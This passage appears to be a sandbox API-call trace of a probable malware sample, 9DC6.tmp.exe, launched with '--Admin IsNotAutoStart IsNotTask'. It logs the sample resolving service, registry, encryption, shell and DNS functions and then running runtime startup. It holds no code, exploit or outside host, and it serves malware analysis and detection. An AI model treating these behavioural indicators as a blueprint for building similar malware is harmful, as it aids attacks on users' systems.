lpProcName="ControlService") returned 0x74d67144 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0043.854] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0043.854] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0043.857] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0043.857] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0043.857] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0043.857] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0043.857] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0043.857] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0043.857] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0043.857] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0043.857] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0043.857] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0043.857] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0043.858] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0043.858] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0043.862] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0043.862] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0043.864] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0043.864] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0043.864] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0043.864] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0043.868] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0043.868] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0043.868] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0043.868] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0043.868] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0043.874] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0043.874] atexit (param_1=0x270920) returned 0 [0043.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d180 | out: lpSystemTimeAsFileTime=0x18d180*(dwLowDateTime=0xad172c70, dwHighDateTime=0x1d55a45)) [0043.874] GetCurrentThreadId () returned 0x810 [0043.874] GetCurrentProcessId () returned 0x80c [0043.874] QueryPerformanceCounter (in: lpPerformanceCount=0x18d178 | out: lpPerformanceCount=0x18d178*=16415561455) returned 1 [0043.874] GetStartupInfoW (in: lpStartupInfo=0x18d110 | out: lpStartupInfo=0x18d110*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0043.874] GetProcessHeap () returned 0x4ff0000 [0043.874] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.874] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0043.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0043.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0043.877] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0043.877] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3bc) returned 0x509b880 [0043.877] GetCurrentThreadId () returned 0x810 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x5091c18 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x800) returned 0x509bc48 [0043.878] GetStartupInfoW (in: lpStartupInfo=0x18d0e0 | out: lpStartupInfo=0x18d0e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x7eb3e009, hStdError=0x58)) [0043.878] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0043.878] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0043.878] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0043.878] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0043.878] GetEnvironmentStringsW () returned 0x509c450* [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xaca) returned 0x509cf28 [0043.878] FreeEnvironmentStringsW (penv=0x509c450) returned 1 [0043.878] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xbc) returned 0x509da00 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x98) returned 0x509dac8 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3e) returned 0x5090a40 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x6c) returned 0x509db68 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x6e) returned 0x509dbe0 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x78) returned 0x508eb80 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x62) returned 0x509dc58 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2e) returned 0x5097e78 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x48) returned 0x5093360 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x28) returned 0x5097820 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1a) returned 0x509b5e0 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x4a) returned 0x509dcc8 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x72) returned 0x508ec00 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x30) returned 0x5097eb0 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2e) returned 0x5097ee8 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1c) returned 0x509b608 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xd2) returned 0x509dd20 [0043.878] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x7c) returned 0x509de00 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x36) returned 0x509de88 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3a) returned 0x5090a88 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x90) returned 0x509dec8 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x5097850 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x30) returned 0x5097f20 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x36) returned 0x509df60 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x48) returned 0x50933b0 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x52) returned 0x509c450 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3c) returned 0x5090ad0 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x82) returned 0x509c4b0 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2e) returned 0x5097f58 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1e) returned 0x509b630 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2c) returned 0x5097f90 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x54) returned 0x509c540 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x52) returned 0x509c5a0 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2a) returned 0x5097fc8 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3c) returned 0x5090b18 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x54) returned 0x509c600 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x5097880 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x30) returned 0x5098000 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x8c) returned 0x509c660 [0043.879] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x509cf28 | out: hHeap=0x4ff0000) returned 1 [0043.879] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x80) returned 0x509c6f8 [0043.879] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] GetACP () returned 0x4e4 [0043.880] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x220) returned 0x509c780 [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] IsValidCodePage (CodePage=0x4e4) returned 1 [0043.880] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d0d4 | out: lpCPInfo=0x18d0d4) returned 1 [0043.880] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18cb9c | out: lpCPInfo=0x18cb9c) returned 1 [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c918, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.880] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18cbb0 | out: lpCharType=0x18cbb0) returned 1 [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c8e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.880] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.880] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18c6d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ceb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿùá³~ìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0043.880] GetLastError () returned 0x0 [0043.880] SetLastError (dwErrCode=0x0) [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c908, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0043.880] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.880] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18c6f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0043.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 